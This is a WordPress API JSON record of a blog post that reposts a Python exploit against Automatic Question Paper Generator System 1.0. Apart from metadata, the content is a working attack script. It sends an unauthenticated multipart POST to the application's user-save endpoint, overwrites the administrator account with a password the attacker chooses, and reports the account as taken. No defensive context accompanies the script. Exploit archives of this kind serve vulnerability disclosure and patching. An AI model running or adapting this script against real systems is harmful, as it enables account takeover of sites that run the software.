{"id":21729,"date":"2022-03-14T23:58:17","date_gmt":"2022-03-14T20:58:17","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/166288\/aqpgs10-insecure.txt"},"modified":"2022-03-15T14:37:15","modified_gmt":"2022-03-15T11:07:15","slug":"automatic-question-paper-generator-system-1-0-insecure-direct-object-reference","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/automatic-question-paper-generator-system-1-0-insecure-direct-object-reference\/","title":{"rendered":"Automatic Question Paper Generator System 1.0 Insecure Direct Object Reference"},"content":{"rendered":"<p dir=\"ltr\"># Exploit Title: Automatic Question Paper Generator System 1.0 &#8211; Authentication Bypass<br \/>\n# Date: 2022-04-03<br \/>\n# Exploit Author: Mr Empy<br \/>\n# Software Link: https:\/\/www.sourcecodester.com\/php\/15190\/automatic-question-paper-generator-system-phpoop-free-source-code.html<br \/>\n# Version: 1.0<br \/>\n# Tested on: Linux<br \/>\n#!\/usr\/bin\/env python3<br \/>\nimport requests<br \/>\nimport random<br \/>\nimport string<br \/>\nfrom requests_toolbelt import MultipartEncoder<br \/>\nfrom time import sleep<br \/>\nimport argparse<\/p>\n<p dir=\"ltr\">def banner():<br \/>\nprint(&#8221;&#8217;<br \/>\n___ ____ ____ ______<br \/>\n\/ | \/ __ \\ \/ __ \\\/ ____\/<br \/>\n\/ \/| |\/ \/ \/ \/ \/ \/_\/ \/ \/ __<br \/>\n\/ ___ \/ \/_\/ \/ \/ ____\/ \/_\/ \/<br \/>\n\/_\/ |_\\___\\_\\\/_\/ \\____\/<\/p>\n<p dir=\"ltr\">[Automatic Question Paper Generator v1.0]\n[Authentication Bypass]\n&#8221;&#8217;)<\/p>\n<p dir=\"ltr\">def main():<br \/>\nfields = {<br \/>\n&#8216;id&#8217;: &#8220;1&#8221;,<br \/>\n&#8216;firstname&#8217;: &#8216;Adminstrator&#8217;,<br \/>\n&#8216;lastname&#8217;: &#8216;Admin&#8217;,<br \/>\n&#8216;username&#8217;: &#8216;admin&#8217;,<br \/>\n&#8216;password&#8217;: arguments.newpassword<br \/>\n}<\/p>\n<p dir=\"ltr\">boundary = &#8216;&#8212;-WebKitFormBoundary&#8217; +<br \/>\n&#8221;.join(random.sample(string.ascii_letters + string.digits, 16))<br \/>\nm = MultipartEncoder(fields=fields, boundary=boundary)<\/p>\n<p dir=\"ltr\">headers = {<br \/>\n&#8220;Connection&#8221;: &#8220;keep-alive&#8221;,<br \/>\n&#8220;Content-Type&#8221;: m.content_type<br \/>\n}<\/p>\n<p dir=\"ltr\">r = requests.post(f'{arguments.url}\/classes\/Users.php?f=save&#8217;,<br \/>\nheaders=headers, data=m)<br \/>\nif &#8216;1&#8217; in r.text:<br \/>\nprint(f'[+] Account taken successfully! Login:<br \/>\nadmin:{arguments.newpassword}&#8217;)<br \/>\nelse:<br \/>\nprint(&#8216;[-] Not vulnerable&#8217;)<\/p>\n<p dir=\"ltr\">if __name__ == &#8216;__main__&#8217;:<br \/>\nparser = argparse.ArgumentParser()<br \/>\nparser.add_argument(&#8216;-u&#8217;,&#8217;&#8211;url&#8217;, action=&#8217;store&#8217;, help=&#8217;Target URL (<br \/>\nhttp:\/\/target.com\/aqpg\/)&#8217;, dest=&#8217;url&#8217;, required=True)<br \/>\nparser.add_argument(&#8216;-p&#8217;,&#8217;&#8211;password&#8217;, action=&#8217;store&#8217;, help=&#8217;New<br \/>\npassword&#8217;, dest=&#8217;newpassword&#8217;, required=True)<br \/>\narguments = parser.parse_args()<br \/>\nbanner()<br \/>\nsleep(2)<br \/>\nmain()<\/p>\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: Automatic Question Paper Generator System 1.0 &#8211; Authentication Bypass # Date: 2022-04-03 # Exploit Author: Mr Empy # Software Link: https:\/\/www.sourcecodester.com\/php\/15190\/automatic-question-paper-generator-system-phpoop-free-source-code.html # Version: 1.0 # Tested on: Linux #!\/usr\/bin\/env python3 import requests import random import string from requests_toolbelt import MultipartEncoder from time import sleep import argparse def banner(): print(&#8221;&#8217; ___ ____ ____ &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-21729","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/21729","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=21729"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/21729\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=21729"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=21729"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=21729"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}